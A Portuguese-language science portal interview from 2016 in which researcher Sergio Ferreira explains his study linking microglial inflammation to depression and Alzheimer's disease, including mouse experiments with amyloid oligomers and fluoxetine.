Publicado em 23/05/2016

A relação entre depressão e doença de Alzheimer

O periódico Brain, Behavior, and Immunity publicou, em 27 de Novembro de 2015, o artigo''Microglial dysfunction connects depression and Alzheimer’s disease''. O estudo foi desenvolvido por um grupo de pesquisadores liderados pelo Prof. Sergio Ferreira, cujos trabalhos vêm avançando com êxito em pesquisas relacionadas à Doença de Alzheimer nos últimos anos.

A doença de Alzheimer (DA) afeta aproximadamente 35 milhões de pessoas no mundo (Alzheimer's Association, 2015) e é caracterizada clinicamente pelo declínio cognitivo e perda de memória. Um em cada quatro pacientes com DA são co-diagnosticados com transtorno depressivo maior (MDD).

Em uma entrevista realizada para nosso Portal em 2015, a Profa. Fernanda De Felice nos contou que o acúmulo de oligômeros beta-amilóide no cérebro com DA induz a disfunção sináptica. Assim, esses oligômeros ativam células da micróglia que, ao tentar fagocitá-los, produzem citocinas pró-inflamatórias que desencadearão uma via que levará à perda de sinapses e memórias. No presente estudo, os cientistas mostraram que pacientes com MDD apresentam consistentemente um aumento dos níveis circulantes de citocinas pró-inflamatórias liberadas pela micróglia, cujo estado de ativação pode ser crucial para a DA.

A pesquisa publicada em Novembro de 2015 mostra, através de uma releitura em achados recentes de dados epidemiológicos, que a depressão é um dos sintomas mais frequentes da DA, evidenciando a micróglia como um participante comum entre esses transtornos. A pesquisa ainda afirma que drogas anti-inflamatórias são promissoras para o tratamento da DA. Convidamos o Prof. Sergio Ferreira para responder algumas questões relativas a seu trabalho. Leia abaixo a entrevista realizada para o nosso Portal.

 

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PORTAL BIOQMED. Bom dia, Prof. Sergio! Temos acompanhado seus estudos e eles têm contribuído significativamente para a melhor compreensão acerca da dinâmica das vias e mecanismos responsáveis por doenças neurodegenerativas, principalmente o mal de Azheimer. Gostaríamos de parabenizá-lo pelo seu trabalho e agradecê-lo por esclarecer algumas questões!

No cérebro com DA, as micróglias ativadas são abundantes, certo? Elas constituem um tipo celular das células da neuroglia (ou células da glia, que têm funções estruturais e metabólicas, auxiliares às funções dos neurônios) e são conhecidas por suas funções macrofágicas e respostas imunes no sistema nervoso central. Mais especificamente gostaríamos de saber quais são os papéis fisiológicos que essas células exercem para a patogênese da DA e do MDD?

PROFESSOR SERGIO FERREIRA. O primeiro ponto é que, até alguns anos atrás, a visão das células da glia (que são os astrócitos, as micróglias e os oligodendrócitos) era de que elas tinham um papel de suporte aos neurônios, seriam os coadjuvantes. Como num filme: você tem o ator principal e o ator coadjuvante que apoia o papel do principal. O principal seria o neurônio e os coadjuvantes seriam as células da glia. No entanto, eu diria que de uns 5 à 10 anos pra cá, os avanços no entendimento da biologia sobre as células da glia têm sido tão grandes que agora a gente entende que elas não são tão coadjuvantes assim. É como se tivéssemos vários protagonistas no cérebro. Os neurônios certamente são muito importantes, são eles que fazem talvez  o grosso do processamento de informações, mas a glia também!

Os astrócitos têm um papel muito importante na sinapse, na comunicação entre os neurônios. Já a micróglia, estamos percebendo, tem um papel central no funcionamento do cérebro, como no desenvolvimento, quando ela participa do que a gente chama de ‘’poda das sinapses’’, assim como  quando existe uma árvore que está crescendo desordenadamente e precisa-se podar alguns galhos para ela ficar no formato adequado que o jardineiro quer fazer, da mesma forma acontece no cérebro no começo do desenvolvimento, pois ocorre uma formação excessiva de sinapses. A micróglia serve no desenvolvimento  para fazer essa espécie de poda, de eliminação dessas sinapses em excesso mantendo apenas as sinapses que são realmente funcionais e evitando problemas. Sinapses em excesso, comunicação em excesso entre os neurônios está associada, por exemplo, ao Autismo e aos vários tipos de retardo mental. É preciso se ter um controle: e a micróglia faz isso.

O cérebro se desenvolve, depois ele atinge um tamanho ou um grau de complexidade que é compatível com o jovem ou adulto e já numa idade mais avançada existe um processo de degeneração que é natural do envelhecimento. O corpo inteiro entra no processo de degeneração porque a capacidade do corpo reparar os danos é menor que a velocidade com que os danos ocorrem. No entanto, na doença de Alzheimer particularmente, ocorre como se fosse uma aceleração muito grande desse processo de degeneração. O que normalmente seria um processo muito lento e levaria a um envelhecimento mais saudável, no cérebro com Alzheimer acontece uma aceleração e nesse caso existe uma ativação errada das células da glia, em particular a micróglia, que é o foco desse nosso estudo mais recente. A micróglia se torna então hiperativada e começa a atacar os neurônios, ela tem essa capacidade de secretar substâncias que são pró-inflamatórias, que aumentam a inflamação no cérebro e uma vez ativada, ela aumenta a inflamação do cérebro, secretando substâncias que possuem características inflamatórias, como as interleucinas. As micróglias podem até fagocitar realmente neurônios ou sinapses usando essa atividade fagocítica que elas têm, que é a capacidade de comer coisas que estão ao redor. Então elas podem comer sinapses que deveriam estar ali para conectar os neurônios, ou elas podem comer o neurônio inteiro. Se elas estão erroneamente ativadas, perdem o controle e a seletividade do que elas têm que fazer no cérebro.

No cérebro com Depressão há uma questão bem interessante! Classicamente, a hipótese que é mais conhecida para explicar a depressão nos seres humanos é a falta de neurotransmissores que estão associados ao humor, como a serotonina e a dopamina. O que acontece no cérebro de pacientes deprimidos é que ocorre uma diminuição da disponibilidade desses neurotransmissores, que são importantes para comunicação entre os neurônios em áreas que estão relacionadas à motivação, à sensação de prazer e recompensa. Por exemplo, toda vez que você faz uma atividade que te dá prazer, isso ativa uma região no cérebro que libera dopamina e essa dopamina ativa outros neurônios, ela se liga aos seus receptores ativando-os e isso associa-se à sensação de prazer. Portanto, na verdade, quando sentimos a sensação de prazer, mesmo que seja física, o cérebro sente esse prazer através da liberação de dopamina. E é por isso que existe toda essa questão do vício em drogas. O que muitas drogas de abuso fazem, como por exemplo, a cocaína e outras, é inibir a recaptação da dopamina pelos neurônios. Você inunda o cérebro com dopamina, dá a sensação de prazer e a pessoa acaba viciada aquele comportamento. Se você trata um animal com inibidor de recaptação de dopamina, como a cocaína ou algum outro,  ele fica viciado a apertar a manivelinha que libera substâncias para ele, porque dá a sensação de prazer. Por outro lado, a falta disso dá uma sensação de desânimo, de falta de prazer, falta de entusiasmo. É o que acontece em cérebros com Alzheimer. Classicamente, se achava que a depressão era só isso, a falta de neurotransmissores, por isso que a maioria dos antidepressivos são substâncias que inibem a recaptação de serotonina para aumentar o nível de serotonina ou os níveis de dopamina ou de ambos.

No entanto, nos últimos anos também têm surgido outras hipóteses para explicar a depressão.  Tanto que na clínica sabe-se que muitos pacientes não respondem bem ao tratamento com antidepressivos. O paciente está deprimido, toma um antidepressivo que faria aumentar os níveis de serotonina ou de dopamina no cérebro dele, mas ele não se cura. Então o que pode estar acontecendo? Talvez tenham outros mecanismos ali atuando. Um desses mecanismos que vem sendo descoberto é justamente o mecanismo de inflamação. No cérebro dos pacientes depressivos existe um quadro inflamatório que é semelhante ao paciente com quadro inflamatório com doença de Alzheimer, existe um excesso de substâncias que causam inflamação e, novamente, essas substâncias são liberadas pelas micróglia. Esse foi o denominador comum que nos levou a perguntarmos se, na verdade, a ativação da micróglia na doença de Alzheimer e na depressão era um ponto que conectava essas duas, porque na prática clínica a gente sabe que a maioria dos pacientes que tem Alzheimer tem depressão também, e que a depressão é um forte fator de risco para se desenvolver Alzheimer. Pessoas que têm Depressão ao longo da vida tem um maior risco de desenvolver Alzheimer. Essa conexão clínica nos pareceu que poderia ser intermediada pela inflamação através da micróglia.

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Créditos da imagem: Francisco Prosdócimi, Larissa Haerolde e Freepik

PORTAL BIOQMED. Você disse que a micróglia pode até fagocitar um neurônio inteiro, isso acontece em pacientes com Doença de Alzheimer?

PROFESSOR SERGIO FERREIRA. Isso na verdade a gente sabe que acontece em experimentos in vitro. Se de fato acontece no cérebro ainda não temos certeza, mas que ela pode no cérebro comer sinapses inteiras, isso pode. Se realmente ela perde tanto o controle e sai comendo sinapses e chega até comer um neurônio, a gente não sabe ainda se acontece num cérebro vivo. Em experimentos in vitro em laboratório isso acontece.

 

PORTAL BIOQMED. Isso que a micróglia pode fazer no cérebro é similar ao que está acontecendo atualmente com a Síndrome de Guillain-Barré, em que os anticorpos estão atacando a bainha de mielina, sendo que no sistema nervoso periférico, certo?

PROFESSOR SERGIO FERREIRA. É como se fosse. É claro que o processo é diferente, porque no caso da Síndrome de Guillain-Barré que está associada ao quadro infeccioso e agora, especialmente, à questão da Zika que está tão evidente na mídia, a Síndrome é um ataque, é uma reação auto-imune, o corpo cria anti-corpos que irão atacar as células dos sistema nervoso e começam atacando o sistema nervoso periférico. É por isso que as pessoas acabam tendo problemas motores. Os neurônios motores, os que controlam os movimentos, vão ser atacados pelo sistema imune. Nesse caso, são os anticorpos e depois as células do sistema imune periférico, que são os linfócitos e os macrófagos, que vão atacar os neurônios periféricos, isso na Síndrome de Guillain-Barré. Na Doença de Alzheimer e talvez na Depressão, a micróglia não deixa de ser uma célula do sistema imune, ela é uma célula que a gente chama de ‘’imunidade inata’’, como os macrófagos no corpo, ela é uma espécie de macrófago no cérebro que está ali para patrulhar o cérebro. Elas vivem no ambiente cerebral continuamente ativas buscando a existência de algum patógeno, algum vírus ou algum agente infeccioso. O problema é quando elas são ativadas aberrantemente, excessivamente, então o que seria um processo benigno das micróglias,  porque elas estão ali para cumprir uma missão do bem que é manter o patrulhamento do cérebro e certificarem-se de que não tem nenhum invasor, acaba se tornando um processo inverso, elas perdem o controle e começam atacar os próprios neurônios e as sinapses.

 

PORTAL BIOQMED. As micróglias concentram-se ao redor das placas de senis, o que são essas placas? A inflamação do cérebro com DA é uma consequência da progressão da doença ou uma resposta imunológica benéfica?

PROFESSOR SERGIO FERREIRA. As placas senis são grandes agregados, grandes “maçarocas” de proteínas que se depositam no cérebro de pacientes com Alzheimer. Ainda hoje, essas placas são características que definem a doença. Se você quer ter certeza de que uma pessoa tem um quadro de demência tem DA, mais de 100 anos depois da descrição da doença pelo médico Alois Alzheimer, essa certeza só é obtida na análise histopatológica, pós-morte, na necropsia. É preciso examinar o cérebro da pessoa e verificar se existem dois tipos de lesões que são características: uma lesão que é intracelular, dentro dos neurônios, que são os emaranhados neurofibrilares e a outra lesão que são justamente as placas senis. Essas lesões são como que depósitos de proteínas que estão fora dos neurônios, no tecido cerebral, no meio externo às células. Essas placas são constituídas por vários componentes, mas principalmente um pequeno peptídeo constituído por 42 aminoácidos, chamado peptídeo b-amilóde. O b-amilóide é produzido no cérebro de todos nós e possui funções fisiológicas. Todavia, nos pacientes com DA existem alguns que produzem uma quantidade excessiva desse peptídeo e outros que não conseguem fazer a remoção do peptídeo. Então, seja porque você produz demais ou seja porque você não consegue remover do cérebro, o fato é que o peptídeo se acumula e atinge níveis muito altos. Ele tem uma tendência a se agregar, suas moléculas começam a se agregar umas com as outras, formam primeiro longas fibras que são as fibras amilóides (como se fossem fios ou filamentos) e essas irão formar as placas senis, um agregado insolúvel precipitado de proteína que está no cérebro dos pacientes.

 

PORTAL BIOQMED. A inflamação do cérebro com DA é uma consequência da progressão da doença ou uma resposta imunológica benéfica?

PROFESSOR SERGIO FERREIRA. Pois é, isso não se sabe.  Acredita-se que possivelmente no começo, e é o que nossos dados sugerem, é que o acúmulo desses peptídeos b-amilóide é percebido pela micróglia como um evento negativo e ela tende a responder contra isso, uma das maneiras de ativar a micróglia é causar uma inflamação. Da mesma forma que acontece quando uma pessoa se corta, os macrófagos vão ser ativados pelo processo inflamatório no machucado, eles irão convergir para a região lesionada para tentar eliminar bactérias, fungos, vírus ou o que quer que esteja tentando invadir o corpo por ali. No cérebro é a mesma coisa, quando você tem um acúmulo do b-amilóide, que é uma proteína nossa, ele por si não é maléfico, mas esses agregados, essas placas não são placas naturais que existem no nosso cérebro, portanto eles são percebidos pela micróglia como coisas tóxicas que precisam ser removidas. Isso causa um processo de inflamação e gera uma cascata, uma espécie de reação em cadeia em que a micróglia promove um pouco de inflamação e se torna mais ativa, depois mais inflamação e se torna mais ativa e, no final das contas, essa atividade acaba saindo de controle e ela começa a atacar o próprio cérebro.

 

PORTAL BIOQMED. Em um cérebro de um mamífero saudável, as micróglias abrangem uma porcentagem de 10% do número total de células. As funções dessas células são distintas em um cérebro saudável de um cérebro com doença neurodegenerativa?

PROFESSOR SERGIO FERREIRA.  No cérebro saudável a micróglia está ali continuamente patrulhando o tecido cerebral, é como se elas fossem guardinhas que ficam vigiando e conferindo se está tudo direito no ambiente cerebral, se os neurônios estão funcionando, se está tudo ocorrendo como deveria. No entanto, no quadro da DA, o que acontece é que elas são ativadas em excesso, é como se alguém começasse a tocar um apito que chamasse vários guardas para um local como se estivesse acontecendo alguma coisa errada e elas precisassem ser acordadas e chamadas para trabalhar. No começo isso pode ser benigno, pois seria uma tentativa de conter um tipo de problema que está acontecendo. O problema é quando essa reação está frequentemente ocorrendo e vai crescendo até que sai do controle e as micróglias acabam tendo um papel ruim porque atacam o próprio ambiente que vivem. É como se de repente os guardinhas começassem a atirar para todos os lados e acertam quem não deveria ser acertado. No começo estão vigiando se está todo mundo se comportando, mas se são excessivamente ativadas e estimuladas, podem atirar e sai bala perdida para quem não deveria.

 

PORTAL BIOQMED. O que é e qual a importância da vigilância microglial para o sistema nervoso central? Há conhecimento sobre a interação micróglia-neurônio?

PROFESSOR SERGIO FERREIRA. O papel da vigilância é o que discutimos na pergunta anterior, quando a micróglia está fazendo o patrulhamento no cérebro e perde o controle, é como se ela ficasse doidona e começasse a atirar para todos os lados e acaba machucando quem não deveria, que são os neurônios e as sinapses, isso causa então mau funcionamento no cérebro. Sabe-se que a micróglia pode inclusive atuar não apenas nas sinapses, mas em outras porções dos neurônios. Um trabalho bem recente, um único trabalho na literatura na verdade, mostra que micróglia pode se juntar com o segmento inicial chamado axônio, ele é um prolongamento bem comprido dos neurônios e na ponta dele vai acontecer o contato com outros neurônios. Por exemplo, um neurônio que esteja na nossa medula precisa chegar ao pé da gente para controlar os movimentos do pé, como isso acontece? Os neurônios que estão em uma região específica da nossa medula irão emitir prolongamentos, que são os longos axônios, estes levarão os movimentos ao pé, esse é o caso do nervo ciático, um nervo muito comprido que sai da coluna lombar e vai até pé. Os neurônios que fazem parte do nervo ciático têm axônios de um metro de comprimento mais ou menos. Mas como isso funciona? Como as mensagens passam do corpo celular até a pontinha do pé? Elas chegam através do transporte de substâncias e sinais elétricos por esse axônio. Dentro do axônio é como se fosse um tubo e passam várias substâncias ali que são transportadas até a pontinha dele. Na membrana do axônio, que é como se fosse o isolamento de um fio elétrico, passa o sinal elétrico que vai também chegar ao músculo do pé  e fazer com que ele se movimente. Todo esse processo pode sofrer uma interferência pela micróglia que age bem no começo desse axônio. Na região que o axônio se liga no corpo celular as micróglias atuam também e isso é demonstrado num trabalho bem recente, como já mencionei, então precisa ser confirmado por outros grupos, mas parece que em situações patológicas, elas podem se ligar àquela região inicial do axônio e causar problemas na transmissão de sinais, seja nos sinais elétrico ou no transporte de substâncias pelo axônio.

 

PORTAL BIOQMED. Pacientes com transtornos de depressão apresentam maiores chances de desenvolver DA e vice-versa, seu artigo traz informações de um estudo realizado em 2003, no qual uma de suas associações feitas entre essas doenças foi a de que, curiosamente, 1 ano antes do início da DA os sintomas de depressão já tinham surgido em pacientes. Por quais fatores biológicos e informações epidemiológicas podem explicar a conexão entre essas doenças?

PROFESSOR SERGIO FERREIRA. É importante fazer bem essa distinção mesmo, porque uma coisa é justamente a questão epidemiológica, sabe-se  que existe um grande número de pacientes que tiveram ou mais recentemente ou mais distantemente, episódios depressivos, e eles têm um risco maior de desenvolver a DA que a população não deprimida. Isso é um fato epidemiológico. A questão é tentar entender o porquê. A maioria dos estudos epidemiológicos revelam achados como esse, mas eles dificilmente trazem à luz qual é o mecanismo que explica essa associação entre você ter depressão e ter um maior risco de desenvolver a DA. A questão que está surgindo é a questão da inflamação: na depressão, o paciente tem, além dos níveis mais baixos de neurotransmissores, um quadro inflamatório que ativa as micróglias e elas começam a se comportar anomalamente atacando e tendo papéis que são negativos no sistema nervoso ao invés dos papéis benignos que elas têm normalmente. Depois, a progressão desses ataques aos neurônios no cérebro pela micróglia pode levar à ruptura da comunicação correta dos neurônios induzindo aos problemas de memória, de raciocínio e a todos os tipos de problemas que vemos na DA. Mas o que poderia explicar essa ativação aberrante das micróglias? O que a gente acha é que a toxina que se acumula no cérebro de algumas pessoas e que leva a ativação excessiva da micróglia, levando primeiro a um quadro inflamatório, depois um quadro já mais depressivo e finalmente a perda de memória e perda cognitiva, da capacidade de raciocínio, são pequenos agregados do peptídeo b-amilóide que a gente chama de oligômeros e são diferentes das placas senis, porque as placas são grandes agregados insolúveis e ficam como um depósito de lixo no tecido cerebral. É como se fossem um grande depósito de lixo, uma teia de aranha do peptídeo b-amilóide que vai grudando todo tipo de molécula biológica ali, então formam um lixão. Como em qualquer cidade, se você tem um lixão, a vizinhança desse lixão será uma região bem degradada, então a vizinhança dessas placas senis é uma área muito degradada do cérebro, os neurônios morrem, ficam distróficos, eles vão sofrendo e acabam morrendo, os que estão no perímetro das placas. Mas isso não explica o porquê de a DA causar tantos problemas no cérebro inteiro, em tantas funções cerebrais. A explicação mais plausível atualmente é que ao invés dessas placas serem os vilões da doença, os vilões são pequenos agregadinhos solúveis do peptídeo b-amilóide, são agregados que ao invés de terem dezenas de milhares de moléculas de b-amilóide como a placa senil, podem ter 3, 4, 12 a 24 moléculas do b-amilóide grudados fazendo um agregado solúvel que pode, portanto, difundir-se pelo líquido que banha o cérebro. Sabemos agora que esses agregados ativam a micróglia, isso é de um trabalho nosso que ainda não foi publicado, mas que publicaremos em breve, esses agregados ativam as células da micróglia e fazem com que elas secretem substâncias pró-inflamatórias. O que a gente acha que está acontecendo em alguns pacientes é que eles têm uma ativação da micróglia talvez por esses oligômeros de b-amilóide e isso leva à produção de citocinas pró-inflamatórias e também à depressão e DA.

 

PORTAL BIOQMED. A depressão coexistente com DA pode ser considerada um sintoma precoce do processo degenerativo da própria DA ou realmente distingue-se como outra doença, sendo então um fator de risco para o desenvolvimento da DA?

PROFESSOR SERGIO FERREIRA.  Essa é uma pergunta que ainda não está respondida, porque o que a gente sabe dos estudos epidemiológicos é que ela é um fator de risco, ela aumenta o risco do desenvolvimento de DA, mas se ela é de fato uma doença completamente separada da DA ou se é uma espécie de fase inicial que vai acabar levando à DA ainda não se sabe.  O nosso estudo publicado em 2013 sugere que a depressão é causada pelas mesmas toxinas, que são os oligômeros, que causam perda de memória. Então seria uma parte do mesmo quadro, seriam como duas partes da mesma moeda: na DA você teria o acúmulo de oligômeros no cérebro, e eles por um lado causam os sintomas depressivos porque afetam o sistema causando primeiro a inflamação e, em seguida, afetam os níveis de neurotransmissores; por outro lado, esses mesmos oligômeros causam também perda de memória quando afetam as sinapses. Pode ser que as duas coisas sejam parte de um mesmo processo patológico, sendo que com características clínicas muito diferentes. O paciente deprimido às vezes tem queixas de memória também, mas não necessariamente. Os pacientes de DA frequentemente têm depressão, mas não necessariamente, não são todos os casos, são 60% talvez. Elas não são a mesma doença, mas talvez elas tenham causas comuns que são especificamente o acúmulo dos oligômeros de b-amilóide no cérebro.

 

PORTAL BIOQMED. Em pacientes com DA e depressão, é mais incidente que tenha depressão primeiramente e depois a DA ou primeiro a DA e por segundo a depressão?

PROFESSOR SERGIO FERREIRA. É mais frequente que a pessoa comece com um quadro de depressão e depois comece então a desenvolver os sintomas de memória, mas não são 100% dos casos assim. Mas é muito frequente primeiro o quadro depressivo que depois evolua para um quadro de demência, que é a perda de memória e capacidade de raciocínio.

 

PORTAL BIOQMED. Sintomas de depressão em pacientes com DA são comuns? É conhecido em qual estágio da doença esses sintomas sejam prevalentes?

PROFESSOR SERGIO FERREIRA. As estimativas variam de estudo para estudo epidemiológico, mas e acho que é seguro dizer que mais de 50% dos pacientes que chegam no consultório do neurologista ou do psiquiatra reclamando de perda de memória, tenham um quadro depressivo. A prevalência é muito alta, quando você tem um paciente chegando com problema de memória, muito frequentemente ele terá problemas de depressão também. Isso poderia ser interpretado erradamente, poderia se achar ‘’ah, o paciente está deprimido porque está esquecido, então isso entristece ele’’, mas a situação é que depressão é uma doença clinicamente determinada e definida pela psiquiatria, que não é uma tristeza; depressão é uma coisa e tristeza é outra. Definição de depressão define testagem específica para avaliar diversos domínios e ver se a pessoa tem depressão realmente. O quadro depressivo não se explica apenas pelo fato de que a pessoa está tendo esquecimentos e por isso ficando desmotivada e desanimada com a vida, não é bem isso. Parece que são duas doenças com apresentações clínicas diferentes, mas que têm muita sobreposição. Geralmente, a pessoa quando chega ao consultório do neurologista com problema de memória já tem algum sintoma depressivo prévio.

 

PORTAL BIOQMED. Os antidepressivos podem contribuir para amenizar sintomas da DA?

PROFESSOR SERGIO FERREIRA. Essa é uma pergunta muito interessante. No trabalho que mencionei que publicamos em 2013, a gente mostrou um dado que me pareceu muito curioso: injetando oligômeros de b-amilóide no cérebro de camundongos, a gente induzia a perda de memória neles. É como se tivéssemos induzido uma DA no camundongo, embora camundongos não tenham DA, ela é uma doença humana, mas podemos fazer com que eles fiquem ‘’com DA, esquecidos’’, incapazes de responder tarefas. Quando fizemos esse experimento, deixando os camundongos esquecidos pela presença da quantidade elevada dos peptídeos b-amilóide no cérebro, quando tratamos eles com um antidepressivo, a fluoxetina, os camundongos recuperaram a memória. Vimos que os oligômeros também induziam o comportamento depressivo no camundongo e que o antidepressivo, como era de se esperar, funcionava. O antidepressivo curar os sintomas depressivos não era surpresa, pois ele deve fazer isso, mas a surpresa foi o antidepressivo resgatar a memória desses animais. Isso sugeriria que talvez os antidepressivos pudessem ser benéficos na DA para os problemas de memória. O grande problema é quando você começa a tratar o paciente, porque até hoje um dos grandes desafios na área DA é a questão do diagnóstico, é muito difícil diagnosticar  DA e, por tudo que se sabe hoje, na verdade a doença começa talvez 20, 30 anos antes no seu cérebro do que quando os primeiros sintomas de memória surgem. Quando você vai ao consultório e afirma ‘’Ah doutor, estou começando a ficar esquecido, esqueço os nomes das pessoas, esqueço as chaves, a minha carteira, tenho dificuldade de lembrar do caminho de casa, coisas assim’’, na verdade o processo da doença começou 20 ou mais anos antes. Então, o problema é quando começar a tratar. Como você vai fazer isso? Pegar uma população e dar antidepressivo para todo mundo? Não, não dá para fazer isso. É necessário termos maneiras mais eficazes de se fazer, o diagnóstico nos primeiros problemas que começam a surgir e que passem despercebidos na maioria da população que não tem queixa de memória, então como vai saber se tem DA? Até que a gente consiga desenvolver métodos diagnósticos mais eficientes, fica difícil começar a tratar muito cedo e talvez se começar a dar antidepressivo na hora que aquele problema de memória aconteça, talvez já seja tarde, o processo patológico já está instalado no cérebro, pode já ser tarde para tentar intervir.

 

PORTAL BIOQMED. Há estudos sendo feitos para saber se mesmo assim a fluoxetina pode ser aplicada?

PROFESSOR SERGIO FERREIRA. Teria como a fluoxetina ser aplicada, mas na prática esses estudos clínicos rigorosos para estudar se um antidepressivo teria um benefício para memória na DA não foram feitos ainda, esses estudos clínicos que você está sugerindo podem ser feitos mas ainda não foram.

 

PORTAL BIOQMED. Digamos que um paciente com essas duas patologias se trate com antidepressivos, esse paciente apresenta melhora? Há algum benefício observado?

PROFESSOR SERGIO FERREIRA. Aí tem duas coisas, uma delas é que se o paciente já começa a tomar o antidepressivo, porque chega no consultório e está deprimido e com problema de memória, já pode ser tarde. Se chega no consultório do neurologista um paciente de 65 anos com queixas de depressão de memória, o neurologista vai receitar um antidepressivo e um dos remédios que existem hoje que não é muito efetivo, mas é o que há para DA, vai fazer as duas coisas. Mas talvez seja muito tarde exatamente porque a doença já começou há uns 20 anos e não adianta tratar uma doença que está evoluindo há tanto tempo, é muito mais difícil do que se você conseguisse detectar no comecinho.

 

PORTAL BIOQMED. As citocinas pró-inflamatórias derivadas da micróglia são responsáveis por sintomas depressivos e pelo aumento da suscetibilidade à DA e outras doenças neurodegenerativas?

PROFESSOR SERGIO FERREIRA. Sim, elas são responsáveis, a gente sabe de estudos com animais, que mesmo que ele não tenha nenhum modelo de DA e simplesmente injetarmos no cérebro uma citocina pró-inflamatória como TNF-a, causamos sintomas depressivos. Pacientes têm níveis aumentados dessas citocinas pró-inflamatórias, então elas causam depressão e possivelmente causam a perda de memória. Em modelos de animais, injetar essas citocinas no cérebro dos camundongos gera perda de memória. Elas parecem que estão muito ligadas, tanto aos sintomas depressivos quanto a perda de memória.

 

PORTAL BIOQMED. Os níveis plasmáticos das citocinas pró-inflamatórias estão associados de que forma ao envelhecimento?

PROFESSOR SERGIO FERREIRA. Então, existe até uma teoria em inglês que se chama ‘’ Inflammaging’’, é uma brincadeira que um pesquisador italiano criou, o nome que é um codinome, seria ‘’Inflamação associada ao envelhecimento’’. Esse "Inflammaging’’ é a inflamação que existe normalmente no envelhecimento. Então, o envelhecimento do corpo leva a um processo inflamatório, tanto periférico quanto central. Os níveis dessas citocinas pró-inflamatórias tendem a aumentar progressivamente no envelhecimento, porque durante a sua vida e ao longo do envelhecimento você tem a exposição aos diferentes tipos de infecções e doenças que vão ativando o sistema imune, progressivamente a coisa vai se acumulando. Se há um acúmulo dessas citocinas, elas ativam no cérebro a micróglia e isso leva a mais inflamação, é um mecanismo que se retro-alimenta. Por isso que quando a pessoa tem um quadro inflamatório coloca-se gelo para diminuir a temperatura local, porque diminui a atividade das células que estão ali, resfriando o tecido diminui um pouco a atividade metabólica e a secreção de citocinas pró-inflamatórias que essas células estão fazendo. Por outro lado a pessoa toma agentes anti-inflamatórios, drogas anti-inflamatórias como paracetamol,  que vão conter o processo inflamatório e tentar dar um tempo para o corpo se curar sem que a inflamação saia de controle, porque o processo de inflamação é como se fosse uma fogueira, começa pequenininha mas você vai jogando cada vez mais gravetos e a fogueira vai aumentando e no final você pode até se queimar. Se o fogo sai de controle você se queima. É mais ou menos a mesma idéia, no corpo você tem uma capacidade de criar a inflamação e fazer com que a gente possa resolver a inflamação. Mas essa capacidade vai se perdendo com o passar do tempo e a tendência é que a inflamação vá ficando cronicamente elevada, as pessoas começam a ter problemas como artrite, artrose, que são processos inflamatórios e diabetes, obesidade que são processos associados também a inflamação. Todas essas doenças periféricas aumentam gradualmente o nível das citocinas pró-inflamatórias do corpo. Não é um aumento enorme como causado por uma gripe, pois na gripe há um aumento do quadro inflamatório em resposta àquele vírus que entrou, a gripe é uma coisa aguda, você tem um febrão e depois aquilo se resolve, com uns dois ou três dias a pessoa está bem. Na diabetes tipo 2, na obesidade ou na artrite os processos inflamatórios são crônicos que vão ao longo do tempo minando a capacidade de resolver inflamação e a inflamação vai lentamente crescendo, não cresce rápido mas cresce aos pouquinhos. Com o envelhecimento é o que a gente verifica, portanto, com o envelhecimento acontece sim o aumento da inflamação.

O que a gente consegue ver hoje é que já tivemos nos últimos anos muito avanço nas pesquisas, isso é uma questão importante, aliás, não dá para ter um avanço na medicina se não tiver antes um avanço no entendimento dos mecanismos, seja nos mecanismos de saúde ou nos mecanismos de doença, a partir dali é que você consegue dar um passo a frente. Quando se fala ‘’Ah, a medicina tem avançado’’, é claro, mas antes dela teve um avanço de toda uma pesquisa biomédica para dar suporte a ela. Com todos esses avanços a gente consegue controlar um monte de processos e é por isso que a nossa expectativa de vida está aumentando. No Brasil, hoje em dia a estimativa é que você vá viver mais de 70 anos, quem nasce no Brasil deve viver 76, 78 anos já na média. Há pouco tempo, a expectativa era de 50, 60 anos de idade, as pessoas morriam das formas mais variadas, o corpo vai se desgastando. A não ser que a gente conseguisse paralisar todo esse processo de desgaste ou evitar esse processo de desgaste, nem valeria a pena viver tanto porque viveríamos nos arrastando, então também tem um limite.

 

PORTAL BIOQMED. Alguns dizem que se não morrermos de alguma outra coisa, acabaremos morrendo de câncer...

PROFESSOR SERGIO FERREIRA. E isso é interessante, porque antigamente as pessoas morriam por falta de nutrição, morriam cedo, se alimentavam muito mal. Depois começaram a morrer por diversos processos infecciosos. No começo do século passado houve gripes que mataram milhões e milhões de pessoas na Europa e no resto do mundo também, a famosa gripe espanhola, por exemplo, matou milhões de pessoas. Então morriam de infecção, porque não havia antibióticos ainda. Depois, com os antibióticos, conseguimos controlar mortes por doenças infecciosas e as pessoas começaram a viver mais. Começaram então a surgir os problemas de desgaste do corpo, que são as doenças degenerativas, como o câncer que você mencionou. E o que acontece no câncer? As pessoas começaram a morrer de todos os tipos de câncer. Eu estou com 52 anos, quando eu era garoto, morria-se de câncer aos montes. Atualmente, as pessoas continuam tendo câncer, mas os tratamentos, sejam eles clínicos ou cirúrgicos, melhoraram muito. A mortalidade por câncer já diminuiu As principais formas de câncer, por exemplo, que afetam mulheres e homens são o câncer de mama e de próstata, respectivamente, essas formas de câncer hoje já são muito preveníveis. Se você fizer exames regulares e conseguir detectar no comecinho, dá para tratar antes que a coisa saia de controle, seja cirurgicamente, seja clinicamente com remédios, radioterapia, quimioterapia ou com o que for mais indicado. Então, as pessoas estão morrendo menos de câncer hoje em dia. Há pouco tempo, tivemos um exemplo muito claro com HIV, as pessoas morriam com a síndrome associada com o HIV, que é a AIDS, e morriam muitas! As pessoas serem infectadas com HIV era como uma sentença de morte, agora, poucas pessoas morrerão de HIV se elas tiverem acesso aos medicamentos para conter a proliferação do vírus. O problema é que, para as doenças neurodegenerativas, a gente ainda não está no mesmo ponto de conhecimento. Ainda não conhecemos o suficiente como conhecemos o vírus do HIV, sobre o que ele precisa fazer para se replicar e desenvolvermos uma droga eficiente para que não se replique ou para algumas formas de câncer que você já sabem como aquelas células disparam a crescer desordenadamente e consegue-se fazer uma terapia ou, até mesmo, uma remoção cirúrgica daquele tecido impedindo que elas se alastrem. Nas doenças neurodegenerativas como DA, Parkinson, doença de Príon e tantas outras, ainda não estamos nesse ponto. As pesquisas estão mais atrás, porque as pessoas não tinham isso, a DA era uma coisa relativamente rara, as pessoas não viviam o suficiente para ter, ela é uma doença em que o principal fator de risco é a idade. Quando a população envelhece, começam a aparecer casos de DA e isso obviamente dispara a pesquisa nessa área. Eu espero que, daqui alguns anos, a gente esteja num ponto de conhecer tanto sobre o mecanismo da DA que a gente consiga propor drogas realmente eficazes, ainda não estamos nesse ponto. Estamos no estágio de conhecer os mecanismos, para daqui algum tempo propor terapias.

 

